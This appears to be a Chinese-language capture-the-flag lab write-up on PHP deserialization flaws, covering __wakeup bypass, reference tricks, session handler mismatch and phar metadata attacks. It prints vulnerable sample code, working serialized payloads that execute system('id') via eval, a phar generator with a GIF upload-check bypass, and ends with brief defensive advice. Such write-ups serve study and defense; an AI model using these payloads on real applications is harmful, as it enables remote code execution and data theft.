s0l4r
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
1 靶场WP
0x18 __wake_up绕过
__wake_up方法当传入的序列化字符串中成员个数大于实际成员个数时不会执行
例题代码如下
<?php
error_reporting(0);
class secret{
var $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
include_once($this->file);
echo $flag;
}
function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
highlight_file(__FILE__);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>
secrete类中,__construct方法可以指定file为flag.php,最终__deconstruct方法输出,然而存在__wake_up方法在调用__deconstruct输出之前修改了file值,需要绕过
正则表达式中限制字符o/c:数字:的模式,因此也需要绕过
绕过__wake_up:O:6:"secret":2:{s:4:"file";s:8:"flag.php";},2可以使用任意大于1的值替换
正则绕过:正则匹配时只匹配整串,因此只要保证不出现O:数字:即可,因此使用O:+数字
最终payload:O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}
注意url编码,防止+的干扰
0x19 引用的反序列化
php引用:不同名变量可访问同一个内容
例题代码
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
$pass=str_replace('*','\*',$pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$flag;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>
审计代码,发现需要$o->secret和$o->enter相等,而在开始位置又对传入的序列化字符串中*做替换,导致构造后二者不会相等
观察反序列化操作,先反序列化,后对成员变量赋值,因此可以使用引用的方式,使enter=&secret,当修改secret时,enter读取的值也相应修改
payload生成代码如下
<?php
class just4fun {
var $enter;
var $secret;
}
$j = new just4fun();
$j->enter = &$j->secret;
echo serialize($j);
?>
最终payload为O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;},获取flag
0x20+0x21 Session反序列化
session反序列化本质:不同页面采用的反序列化解析器不同
php反序列化解析器
php,格式为 session键|序列化后值
php_binary,格式为 键长度对应ascii+键名+序列化后值
php_serialize,格式为 序列化后值,数组形式
session的序列化与反序列化分别在保存session和读取session的过程中
保存session页面代码
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
采用php_serialize格式
读取session页面代码
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class D{
var $a;
function __destruct(){
eval($this->a);
}
}
?>
采用php格式,二者格式不同,可能引发反序列化漏洞
构造D的序列化字符串,实现命令执行,采用php_serialize格式,最终为O:1:"D":1:{s:1:"a";s:13:"system('id');";}
传递参时添加 | 字符,docker中查看保存的session
$sudo docker exec -it container /bin/bash
访问读取session页面,由于使用php格式,因此|之前的内容当作session键处理,反序列化后面的内容,触发代码执行,实现system的命令执行
0x21同理,审计代码发现hint.php用于保存session,且格式为php_serialize
分析index.php的Flag类,需要确保name===her,参考之前的引用反序列化,构造payload如下|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;},通过hint.php保存session,访问index.php,读取flag
0x22+0x23 phar反序列化
phar:类似jar包
文件格式
stub头,一般使用__HALT_COMPILER,有时会对该部分检测,不允许上传phar包
manifest describing the contents,其中存在meta-data,是反序列化漏洞的入口点
file contents
可选签名
生成phar包代码
<?php
class obj{
public $a;
}
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //有时为了过验证,同时加入其他头,如GIF89a
$o=new obj();
$o->a='a';
$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
phar包会在第一次使用phar协议时对meta-data反序列化,触发反序列化漏洞
例题代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>
审计代码,发现传入filename未过滤,因此可以使用phar协议;Testobj类中存在代码执行,修改output实现命令执行
利用
生成phar包(phar.php中可用)
审计生成的phar包,存在eval($_GET['a']);可代码执行,传递filename=phar://test.phar/test.txt/test&a=system('id');,实现命令执行
0x23同理,未对file进行处理,且存在upload.php文件上传点
首先生成phar,代码如下
<?php
highlight_file(__FILE__);
class TestObject{}
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //写入stub
$o=new TestObject();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
上传发现出现被拦截
修改后缀及content-type尝试绕过
成功上传
最终在index页面post一个file,为之前上传的文件名
成功读取flag
2 防御措施
php反序列化漏洞本质在于对用户输入的序列化字符串不加处理,导致实现代码执行、敏感信息读取等操作。
防护方式和常规注入漏洞一致,不信任任何用户输入,不直接反序列化用户输入
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)